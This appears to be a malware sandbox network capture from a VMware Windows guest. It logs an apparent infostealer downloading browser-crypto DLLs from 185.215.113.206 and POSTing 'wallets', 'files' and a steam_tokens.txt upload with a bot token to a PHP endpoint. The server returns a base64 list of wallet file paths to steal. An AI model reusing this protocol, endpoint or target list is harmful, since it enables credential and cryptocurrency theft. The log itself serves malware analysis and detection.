Oct 29, 2024 17:59:48.111978054 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:48.533849001 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 17:59:50.032795906 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:50.319067955 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 17:59:51.100255013 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:51.386903048 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 17:59:54.337161064 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:54.623938084 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 17:59:54.951927900 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 17:59:55.238732100 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 17:59:55.882972956 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 17:59:56.666348934 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:56.758979082 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="message"wallets------EGCBFIEHIEGCAAAKKKKE--
Oct 29, 2024 17:59:57.067677021 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 29, 2024 17:59:57.070547104 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"files------BAECFHJEBAAFIEBGHIIE--
Oct 29, 2024 17:59:57.359106064 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:57.395232916 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFIJKEBFBFHIJJKEHDHIContent-Disposition: form-data; name="file"------BFIJKEBFBFHIJJKEHDHI--
Oct 29, 2024 17:59:58.180222034 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:58.208609104 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"ybncbhylepme------HJDBAFIECGHCBFIDGDAA--
Oct 29, 2024 17:59:58.497598886 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 17:59:58.500763893 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 62 63 30 39 39 30 31 31 35 35 37 31 64 66 61 33 34 34 35 31 34 30 39 34 39 65 64 66 34 37 64 36 32 32 39 30 33 37 63 36 63 35 66 39 38 64 34 61 33 33 31 37 63 36 31 61 38 39 64 31 35 31 65 37 36 36 61 63 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"c9bc0990115571dfa3445140949edf47d6229037c6c5f98d4a3317c61a89d151e766ac8e------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KJJKEBGHJKFIDGCAAFCA--
Oct 29, 2024 17:59:59.280508041 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 64 2b 51 34 51 7a 73 63 45 57 54 31 30 61 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 33 32 35 37 39 63 34 65 31 66 30 36 33 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: md+Q4QzscEWT10aP.1Context: c232579c4e1f0637
2024-10-29 16:59:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-29 16:59:03 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 64 2b 51 34 51 7a 73 63 45 57 54 31 30 61 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 32 33 32 35 37 39 63 34 65 31 66 30 36 33 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 46 46 64 79 50 77 32 4e 4f 6a 52 59 67 6a 46 63 6d 69 5a 38 39 63 36 58 62 49 70 38 7a 75 70 6b 4c 65 62 79 68 32 50 76 2b 63 69 63 38 79 55 4b 45 6c 77 70 34 50 5a 6d 37 4e 67 39 56 67 50 68 66 6a 66 65 47 55 49 2b 4f 45 62 46 61 4c 41 4d 75 43 67 52 51 79 2f 63 42 73 64 42 38 39 7a 61 67 30 6c 68 73 42 30 52 65 61 78 77 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: md+Q4QzscEWT10aP.2Context: 